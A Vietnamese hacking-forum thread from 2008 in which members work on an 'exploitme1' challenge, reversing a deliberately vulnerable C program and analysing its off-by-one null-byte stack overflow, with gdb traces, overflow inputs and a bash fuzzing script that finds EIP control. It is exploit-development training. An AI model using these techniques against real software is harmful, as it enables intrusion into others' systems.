banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thông tin new bugs và exploits Tìm lỗi và khai thác  XML
  [Discussion]   Tìm lỗi và khai thác 21/10/2008 03:43:49 (+0700) | #1 | 155938
mrro
Administrator

Joined: 27/12/2001 05:07:00
Messages: 745
Offline
[Profile] [PM]
Hello các bạn,

Topic này tập trung vào việc tìm lỗi và khai thác lỗi trong số chương trình hay đoạn mã mà tớ tạo ra hay là góp nhặt được. Mở hàng là một cái chương trình sau:


Exploitme1: one null byte to rulez them all!

- Yêu cầu: chỉ ra lỗi, crash chương trình, viết mã khai thác để trả về một shell, viết phân tích đầy đủ cách làm.

- Mức độ: không dễ xơi :-p

- Thông tin: gcc < 4, không có ASLR, executable stack. Bạn nào khai thác được ngay cả khi có ASLR thì quá tốt.

 


--m


http://tinsang.net

TetCon 2013 http://tetcon.org

Làm an toàn thông tin thì học gì?/hvaonline/posts/list/42133.html
[Up] [Print Copy]
  [Question]   Re: Tìm lỗi và khai thác 21/10/2008 08:12:49 (+0700) | #2 | 155967
StarGhost
Elite Member

[Minus]    0    [Plus]
Joined: 29/03/2005 20:34:22
Messages: 662
Location: The Queen
Offline
[Profile] [PM]
Hình như bản thân executable bị lỗi segfault thì phải.
Mind your thought.
[Up] [Print Copy]
  [Question]   Re: Tìm lỗi và khai thác 21/10/2008 08:20:34 (+0700) | #3 | 155968
mrro
Administrator

Joined: 27/12/2001 05:07:00
Messages: 745
Offline
[Profile] [PM]
@StarGhost: yup :-p. giờ làm sao tận dụng nó để ra cái shell?

--m
http://tinsang.net

TetCon 2013 http://tetcon.org

Làm an toàn thông tin thì học gì?/hvaonline/posts/list/42133.html
[Up] [Print Copy]
  [Question]   Re: Tìm lỗi và khai thác 21/10/2008 14:11:09 (+0700) | #4 | 156009
StarGhost
Elite Member

[Minus]    0    [Plus]
Joined: 29/03/2005 20:34:22
Messages: 662
Location: The Queen
Offline
[Profile] [PM]
Tớ là newbie nên còn đang mày mò nghịch ngợm. Có phải source đại khái là thế này không?
Code:
int doit(char *str)
{
	strcpy((char *)((int)&str - 16), str);
	printf("%s\n", (char *)((int)&str - 16));
	return 0;
}

int main(int argc, char *argv[])
{
	if (strlen(argv[1]) > 8)
		*(argv[1] + 8) = 0;
	doit(argv[1]);
	return 0;
}

Mind your thought.
[Up] [Print Copy]
  [Question]   Re: Tìm lỗi và khai thác 21/10/2008 15:28:15 (+0700) | #5 | 156019
Cognac
Member

[Minus]    0    [Plus]
Joined: 12/08/2008 02:28:47
Messages: 17
Offline
[Profile] [PM]

StarGhost wrote:
Tớ là newbie nên còn đang mày mò nghịch ngợm. Có phải source đại khái là thế này không?
Code:
int doit(char *str)
{
	strcpy((char *)((int)&str - 16), str);
	printf("%s\n", (char *)((int)&str - 16));
	return 0;
}

int main(int argc, char *argv[])
{
	if (strlen(argv[1]) > 8)
		*(argv[1] + 8) = 0;
	doit(argv[1]);
	return 0;
}

 

@StarGhost: Cậu reverse tương đối chuẩn, tuy nhiên theo mình thì ko có return 0 ở hàm doit.
Anyway, cậu đã reverse code được rồi thì chạy dùm tớ cái này và giải thích hộ tớ
Máy tớ là
$ gdb ./exploitme1
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) run `python -c 'print "AAAA" + "BBBB" + "C"*497'`
Starting program: /home/Cognac/exploitme1 `python -c 'print "AAAA" + "BBBB" + "C"*497'`
AAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? () 

[Up] [Print Copy]
  [Question]   Re: Tìm lỗi và khai thác 21/10/2008 22:49:37 (+0700) | #6 | 156052
mrro
Administrator

Joined: 27/12/2001 05:07:00
Messages: 745
Offline
[Profile] [PM]
@SG: tớ kô biết, tớ kô có source code. Tớ nghĩ không cần source code làm gì.

@Cognac: vậy là gần tới rồi đó. Nhờ bạn giải thích sao mà nó lại như thế?

--m
http://tinsang.net

TetCon 2013 http://tetcon.org

Làm an toàn thông tin thì học gì?/hvaonline/posts/list/42133.html
[Up] [Print Copy]
  [Question]   Re: Tìm lỗi và khai thác 23/10/2008 02:07:51 (+0700) | #7 | 156190
[Avatar]
rickb
Reseacher

Joined: 27/01/2007 17:47:27
Messages: 200
Offline
[Profile] [PM] [Yahoo!]

StarGhost wrote:
Tớ là newbie nên còn đang mày mò nghịch ngợm. Có phải source đại khái là thế này không?
Code:
int doit(char *str)
{
	strcpy((char *)((int)&str - 16), str);
	printf("%s\n", (char *)((int)&str - 16));
	return 0;
}

int main(int argc, char *argv[])
{
	if (strlen(argv[1]) > 8)
		*(argv[1] + 8) = 0;
	doit(argv[1]);
	return 0;
}

 


Hi bác StarGhost, không biết bác có thể trình bày lại toàn bộ tiến trình mà bác đã reverse được code trên & 1 chút giải thích tại sao bác lại nhận biết được "bản thân executable bị lỗi segfault" không ? Em là newbie nhưng cũng rất hứng thú với topic này mặc dù trình độ còn rất kém smilie

Thân,
[Up] [Print Copy]
  [Question]   Re: Tìm lỗi và khai thác 23/10/2008 23:37:22 (+0700) | #8 | 156298
Mr.Khoai
Moderator

Joined: 27/06/2006 01:55:07
Messages: 954
Offline
[Profile] [PM]
StarGhost,

Cái strcpy trong doit() nhìn...ghê quá. Làm sao truy cập được địa chỉ của str - 16 được? Mà giống như Cognac nói, cái doit không có return 0 đâu. Còn cái main có return 0 không?

Anh mrro,

thanks anh, cái này hay lắm. Đêm nay mới rãnh chút để xem sơ qua. Đúng là exploit không phải dễ.

khoai
[Up] [Print Copy]
  [Question]   Re: Tìm lỗi và khai thác 24/10/2008 00:56:39 (+0700) | #9 | 156315
mrro
Administrator

Joined: 27/12/2001 05:07:00
Messages: 745
Offline
[Profile] [PM]
@Mr.Khoai: cái này nói chính xác là exploit thì dễ nhưng hiểu được lý do tại sao exploit được thì không đơn giản. như Cognac làm đó, chỉ cần nhắm mắt quăng dữ liệu vào, thấy chừng nào mà kiểm soát được EIP thì coi như xong. nhưng nếu muốn trả lời câu hỏi "tại sao dữ liệu nhập vào như thế thì lại kiểm soát được EIP" thì phải hiểu rõ stack memory layout.

đương nhiên trong *thực hành*, nhiều lúc chẳng cần hiểu tại sao lại exploit được, miễn cứ chạy được shellcode là ngon rồi. dẫu vậy cá nhân tớ, và tớ nghĩ là nhiều bạn ở đây cũng đồng tình, luôn muốn hiểu rõ chuyện gì đã xảy ra.

tớ đưa ra cái exploitme1 này để các bạn có dịp rà soát lại xem mình có thực sự hiểu rõ stack memory layout của một process trên linux/x86 hay không (điều mà tớ nghĩ rằng là tối cần thiết nếu muốn đào sâu vào mảng đề tài tìm lỗi và khai thác lỗi).

lúc đầu tớ cũng nghĩ là tớ hiểu rồi, nhưng khi đụng phải cái exploitme1 này, tớ mới thấy là có nhiều chỗ tớ chưa rõ.

--m

http://tinsang.net

TetCon 2013 http://tetcon.org

Làm an toàn thông tin thì học gì?/hvaonline/posts/list/42133.html
[Up] [Print Copy]
  [Question]   Re: Tìm lỗi và khai thác 24/10/2008 04:54:20 (+0700) | #10 | 156352
StarGhost
Elite Member

[Minus]    0    [Plus]
Joined: 29/03/2005 20:34:22
Messages: 662
Location: The Queen
Offline
[Profile] [PM]
à à, cái return 0 của doit thì là do tớ quen tay nên cho vào thôi, chứ đúng ra là không có. Nhưng cái này cũng hơi bất bình thường, không biết tác giả viết cái executable này có inline asm vào không nhỉ?

@rickb: tớ là newbie nên có biết gì đâu là tiến trình này nọ, sẵn dissamble được asm rồi thì từ đó mà ra thôi. Còn tại sao bị lỗi segfault thì như bạn thấy cách dùng strcpy trong doit() là quá rõ rồi.
Mind your thought.
[Up] [Print Copy]
  [Question]   Re: Tìm lỗi và khai thác 24/10/2008 23:17:59 (+0700) | #11 | 156439
Mr.Khoai
Moderator

Joined: 27/06/2006 01:55:07
Messages: 954
Offline
[Profile] [PM]
Hờ hờ, theo phân tích "mò" của khoai thì thấy như sau:

1. main() đã "cắt" bỏ phần input string, đặt argv[1][8]=NULL. Vậy mình không thể overflow nhiều đến mức có thể overwrite return address trong doit, hoặc trong main.

2. Lỗi tạo ra seqfault chính là do argv[1] có thể có tối đa 8 chars (bằng cách kiểm tra, và chop đi phần thừa). Nhưng khi strcpy copy 8 bytes này, strcpy luôn tiện "terminate" cái buffer trong doit() bằng một cái NULL byte nữa. Thành ra saved EBP bị overflow một byte.

3. Overflow cái saved EBP của doit thì sau khi doit() xong rồi, main vẫn tiếp tục được. Nhưng register ebp của main đã bị thay đổi. Chính điểm này giúp mình có thể thay đổi return address của main() khi main() return.

4. EBP chỉ bị overwrite một byte cuối thành 0x00, nghĩa là nếu saved EBP của doit() có dạng 0xbffffcxx, sau khi doit() return, EBP của main() sẽ là 0xbffffc00. Mình phải input một string thiệt dài để cái address ngay trên 0xbffffc00 là 0xbffffc04 chứa address của shellcode.

Uh...trên lý thuyết khoai hiểu là thế, nhưng chưa có exploit được.

khoai
[Up] [Print Copy]
  [Question]   Re: Tìm lỗi và khai thác 25/10/2008 01:54:09 (+0700) | #12 | 156452
mrro
Administrator

Joined: 27/12/2001 05:07:00
Messages: 745
Offline
[Profile] [PM]
@Mr.Khoai: vậy là gần ra rồi đó :-p. $EBP của main sẽ bị lệch tối đa là 255 byte. Điểm mấu chốt thì Khoai đã chỉ ra, $EBP mới phải trỏ đến chỗ nào của stack mà trên đó một slot có address của shellcode. Giờ chỉ cần nhìn lại stack, xem những slot nào mình kiểm soát được giá trị của nó, và cố gắng làm sao cho $EBP trỏ về đó là xong.

--m
http://tinsang.net

TetCon 2013 http://tetcon.org

Làm an toàn thông tin thì học gì?/hvaonline/posts/list/42133.html
[Up] [Print Copy]
  [Question]   Re: Tìm lỗi và khai thác 04/11/2008 08:40:04 (+0700) | #13 | 157547
mrro
Administrator

Joined: 27/12/2001 05:07:00
Messages: 745
Offline
[Profile] [PM]
ơ hai tuần rồi vẫn chưa bạn nào làm xong àh? nhanh nhanh lên đi, để tớ còn ra exploitme2 nữa chứ :-p.

--m
http://tinsang.net

TetCon 2013 http://tetcon.org

Làm an toàn thông tin thì học gì?/hvaonline/posts/list/42133.html
[Up] [Print Copy]
  [Question]   Re: Tìm lỗi và khai thác 14/11/2008 06:12:25 (+0700) | #14 | 158795
megatron
Member

[Minus]    0    [Plus]
Joined: 12/11/2008 18:46:08
Messages: 11
Offline
[Profile] [PM]
hi all,
challenge này của mrro khá thú vị. Nói thiệt là trước giờ exploit bof rất ngại khi đụng vào "off-by-one" hay đại loại là "frame pointer overfow" gì đấy. Vẽ minh họa stack để exploit thì dễ, nhưng làm sao cho cái input để khớp vào esp khi RET lại là cả một vấn đề (hay tại tui chuối smilie).
Vế nguyên tắc như bạn mrkhoai giải thích, overflow đc byte cuối của EBP trong function doit, nó sẽ ảnh hưởng đến main khi epilog của main thực thi. Bản thân EBP trong doit được gọi là save old frame pointer (frame pointer của main).
Code:
epilog của main:
0x0804840c <main+78>:   leave  
0x0804840d <main+79>:   ret

Code:
leave = 
mov %ebp(overwrite 1 byte), %esp
pop ebp
//-->%esp = %esp + 4
ret=
pop %esp
jmp [%esp]

Vì vậy việc cần làm là tính toán sau cho cái địa chỉ destination của
strcpy((char *)((int)&str - 16), str) trong doit trỏ đúng vào cái %esp của main khi RET.

Tui lười quá, code tạm một đoạn tạm gọi là off-by-one fuzzing

$cat off-by-one.sh
#!/bin/bash
LIMIT=600
TEST1="run \`python -c 'print \"A\"*"
TEST2="'\`"

for ((i=9; i<=LIMIT; i++))
do
echo $TEST1$i$TEST2 >>list
echo "if \$eip == 0x41414141" >>list
echo " echo AHHHHHHHHHHHHHHHHHHH! Goodjob! Magic input="$i >>list
echo " quit" >>list
echo "end" >>list
done
exit
 


đoạn script trên tạo ra một file "list" có nội dung đại loại như sau:

..........snip snip.........
run `python -c 'print "A"*9'`
if $eip == 0x41414141
echo AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH! goodjob! Magic input=9
end
run `python -c 'print "A"*10'`
if $eip == 0x41414141
echo AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH! goodjob! Magic input=10
end
...........snip snip........
 



Sau đó vào gdb chạy
gdb ./exploitme 1
source list
............
Program received signal SIGILL, Illegal instruction.
0xbffff61a in ?? ()
AAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH! goodjob! Magic input=236
The program is running. Exit anyway? (y or n) [answered Y; input not from terminal]
meg4tr0n@h4x0r:~/test$

 

cho đến khi thấy nó hiện ra dòng goodjob thì dừng lại.
Máy tui input là 236 byte sẽ overwrite đc EIP, ko biết máy các bác sao (đã disable ASLR)
Tạm thời là thế.
/megatron
[Up] [Print Copy]
  [Question]   Re: Tìm lỗi và khai thác 05/12/2008 23:32:56 (+0700) | #15 | 161434
beatboxvn
Member

[Minus]    0    [Plus]
Joined: 24/06/2008 22:43:46
Messages: 14
Offline
[Profile] [PM]
Khó quá, mấy bác siêu thật
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|